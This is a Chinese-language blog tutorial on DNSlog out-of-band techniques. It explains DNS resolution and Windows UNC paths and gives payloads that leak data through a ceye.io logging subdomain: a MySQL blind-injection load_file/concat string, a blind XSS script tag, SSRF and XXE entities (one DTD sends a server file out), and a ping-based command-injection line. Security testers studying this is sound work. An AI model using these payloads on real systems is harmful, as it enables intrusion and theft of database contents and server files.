之前一直有看到過DNSlog這個字眼,但一直沒有好好去了解一下,最近又接觸到了剛好來深入學習下
0x01 什麼是DNSlog
我們都知道DNS就是將域名解析為ip,使用者在瀏覽器上輸入一個域名A.com,就要靠DNS伺服器將A.com解析到它的真實ip127.0.0.1,這樣就可以訪問127.0.0.1伺服器上的相應服務。
那麼DNSlog是什麼。DNSlog就是儲存在DNS伺服器上的域名資訊,它記錄著使用者對域名www.baidu.com等的訪問資訊,類似日誌檔案。
那怎麼利用DNSlog進行注入呢?得深入瞭解一下DNSlog
0x02 DNSlog回顯原理
前面說DNSlog就是日誌,那怎麼用DNSlog進行注入並回顯資訊呢。我們得再瞭解一個多級域名的概念。
域名分級與域名解析過程(DNS)
因特網採用層次樹狀結構命名方法。域是名字空間中一個可被管理的劃分(按機構組織劃分),域可被劃分為子域,子域可再被劃分,即形成了頂級域名、二級域名、三級域名等。從右向左為頂級域名、二級域名、三級域名等,用點隔開。如:
tieba.baidu.com
它由三個標號組成, com即為頂級域名,baidu為二級域名,tieba即為三級域名。且域名不分割槽大小寫。
再來看一個圖
通俗的說就是我有個已註冊的域名a.com,我在域名代理商那裡將域名設定對應的ip 1.1.1.1 上,這樣當我向dns伺服器發起a.com的解析請求時,DNSlog中會記錄下他給a.com解析,解析值為1.1.1.1,而我們這個解析的記錄的值就是我們要利用的地方。
看個直觀一點的例子來理解:
ping命令的時候會用到DNS解析所以我就用ping命令做個實驗。
可以看到解析的日誌會把%USERNAME%的值給帶出來,因為系統在ping命令之前會將%USERNAME%的值解析出來,然後再和a.com拼接起來,最後ping命令執行將longkey.a.com一起發給DNS伺服器請求解析域名對應的ip地址,這個過程被記錄下來就是DNSlog,看到這裡應該有點感覺了。原理上只要能進行DNS請求的函式都可能存在DNSlog注入。
通常用在哪些地方
1.SQL隱碼攻擊中的盲注
在sql注入時為布林盲注、時間盲注,注入的效率低且執行緒高容易被waf攔截,又或者是目標站點沒有回顯
2.無回顯的命令執行
我們在讀取檔案、執行命令注入等操作時無法明顯的確認是否利用成功
3.無回顯的SSRF
推薦平臺:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
這裡用http://ceye.io來做演示
這是一個免費的記錄dnslog的平臺,我們註冊後到控制皮膚會給你一個三級域名:xxx.ceye.io,當我們把注入資訊放到四級域名那裡,後臺的日誌會記錄下來,還是之前那個例子,我把它放到四級域名的位置。
然後檢視DNSlog
可以看到%USERNAME%的值被記錄到DNSlog上了
0x03 DNSlog利用姿勢
SQL隱碼攻擊
利用load_file函式圖解
就以sql盲注為例,後端資料庫用的mysql資料庫,說一下用dnslog回顯只能用於windows系統,為什麼呢。因為在利用sql盲注進行DNSlog回顯時,需要用到load_file函式,這個函式可以進行DNS請求。那
和只能在windows上用有什麼關係呢,這裡就涉及到Windows的一個小Tips——UNC路徑
UNC路徑
UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和對映網路驅動器. UNC命名慣例最多被應用於在區域網中訪問檔案伺服器或者印表機。我們日常常用的網路共享檔案就是這個方式。
\abc.xxx\test
這也就解釋了為什麼CONCAT()函式拼接了4個\了,雙斜槓表示網路資源路徑多加兩個\就是轉義了反斜槓。
通過DNSlog盲注需要用的load_file()函式,所以一般得是root許可權。show variables like '%secure%'
;檢視load_file()可以讀取的磁碟。
1、當secure_file_priv為空,就可以讀取磁碟的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的檔案。
3、當secure_file_priv為null,load_file就不能載入檔案。
通過設定my.ini來配置。secure_file_priv=""就是可以load_flie任意磁碟的檔案。
直接在mysql命令列執行:
select load_file('\\\\requests.xxxx.ceye.io\\aa');
檢視DNSlog
這是最基本的用法,來看看利用盲注來回顯。
payload:' and if((select load_file(concat('\\\\',(select database()),'.p2w57g.ceye.io\\abc'))),1,0)--+
利用concat()函式將查詢的資料庫名和域名拼接,執行後檢視DNSlog
可以看到資料庫名已經被獲取
XSS
XSS 盲打在安全測試的時候是比較常用的
payload: "<script src=http://XSS.XXXXX.ceye.io></script>"
當然也可以打cookie,不過目前實現的條件極為苛刻,就不多說了。
SSRF
根據上面兩個例子,熟悉 SSRF 的肯定也是知道怎麼玩了
payload: "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
XXE
當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那麼不用說,就可以拿來讀取本地伺服器檔案,這時,我們只需把dtd檔案改成這樣
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://XXXX.ceye.io/%file;'>"
>
%all;
在我們的ceye平臺就可以接收到這個讀取的伺服器檔案了。
當安全維護人員對伺服器做了安全防護,使XXE不可以解析外部實體,但是這種任然是從前臺直接傳遞的時候,依舊是存在SSRF漏洞。所以對XXE的安全防護是必須嚴格化的。
命令執行
以前在命令執行無法回顯的時候可能會借用類似 python -m SimpleHTTPServer 這樣的環境,採用回連的檢測機制來實時監控訪問日誌。Liunx 系統環境下一般是使用 curl 命令或者 wget 命令,而 windows 系統環境就沒有這麼方便的命令去直接訪問一個連結,常用的是 ftp命令和 PowerShell 中的檔案下載來訪問日誌伺服器。現在,有了一個比較通用的做法同時兼顧 Liunx 和 windows 平臺,那就是 ping 命令,當 ping 一個域名時會對其進行一個遞迴 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
就像我之前第一個例子,用windows的系統變數
payload: " ping %PATH%.pxxx.ceye.io ..."
最後,在回顯資料時,域名能夠接受的字元是有條件限制的,某些不適合作為域名的特殊字元可能會被遮蔽掉,針對這種情況我們也可以base64編碼後再進行請求。